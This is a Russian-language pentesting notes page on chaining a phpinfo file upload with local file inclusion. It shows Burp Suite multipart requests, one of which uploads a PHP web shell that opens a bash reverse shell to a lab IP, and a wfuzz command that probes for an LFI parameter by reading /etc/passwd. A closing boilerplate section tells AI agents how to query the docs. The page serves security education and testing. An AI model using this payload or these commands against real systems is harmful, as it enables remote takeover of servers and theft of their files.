> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/file-upload-attack/file-upload-phpinfo-pentesting-web.md).

# Загрузка файла phpinfo

## Загрузка файла:

После обнаружения файла "info.php" изучите возможность загрузки файлов на сервер.

<figure><img src="/files/ecbd927ce64376bf83ee881824d300cfaaad5f41" alt=""><figcaption></figcaption></figure>

**Перехват с помощью Burp Suite:** Используйте Burp Suite, чтобы перехватить запрос. Измените метод с "GET" на "POST".

<figure><img src="/files/866d4445c7e49446e3df56185d4c30e169f9c6ea" alt=""><figcaption></figcaption></figure>

#### Запрос на загрузку текстового файла на сервер:

Используйте приведённую ниже структуру Burp Suite, чтобы отправить запрос на загрузку файла с именем `test.txt`:

```markup
Content-Type: multipart/form-data; boundary=--pwned
----pwned
Content-Disposition: form-data; name="name"; filename="test.txt"
Content-Type: text/plain
Это тест
----pwned

```

<figure><img src="/files/df9293dd4ad2f85c774a42e804b42416b2171fce" alt=""><figcaption></figcaption></figure>

**Инъекция PHP-кода:** Попробуйте внедрить PHP-код, используя ту же структуру Burp Suite. Измените содержимое файла, чтобы внедрить полезную нагрузку.

```markup
Content-Type: multipart/form-data; boundary=--pwned
----pwned
Content-Disposition: form-data; name="name"; filename="cmd.php"
Content-Type: text/plain
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.71.45/443 0>&1'"); ?>
----pwned

```

#### Подтверждение инъекции:

Проверьте, была ли инъекция успешной, подтвердив наличие файла "cmd.php" на сервере.

<figure><img src="/files/ef89f6508782ba6842fe99820b1b2b5be6ad8900" alt=""><figcaption></figcaption></figure>

#### Поиск LFI

Чтобы найти уязвимость LFI, мы используем инструмент wfuz для идентификации возможного параметра, перенаправляющего на файл PHP. Команда ниже:

```bash
wfuzz -c --hl=136 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.71.146/index.php?FUZZ=/etc/passwd"

```

<figure><img src="/files/4a381a005e220fa25788b7460252954fed49db1b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7d478a19fb274cafa1fb17d2fffa1ed131992006" alt=""><figcaption></figcaption></figure>

#### Сложности с изменением постоянной папки:

К сожалению, нам не удалось вывести содержимое файла cmd.php из-за постоянного изменения временной папки:

<figure><img src="/files/25c4f2cb933c38ea920738b5568fe38baec8d5fd" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/file-upload-attack/file-upload-phpinfo-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
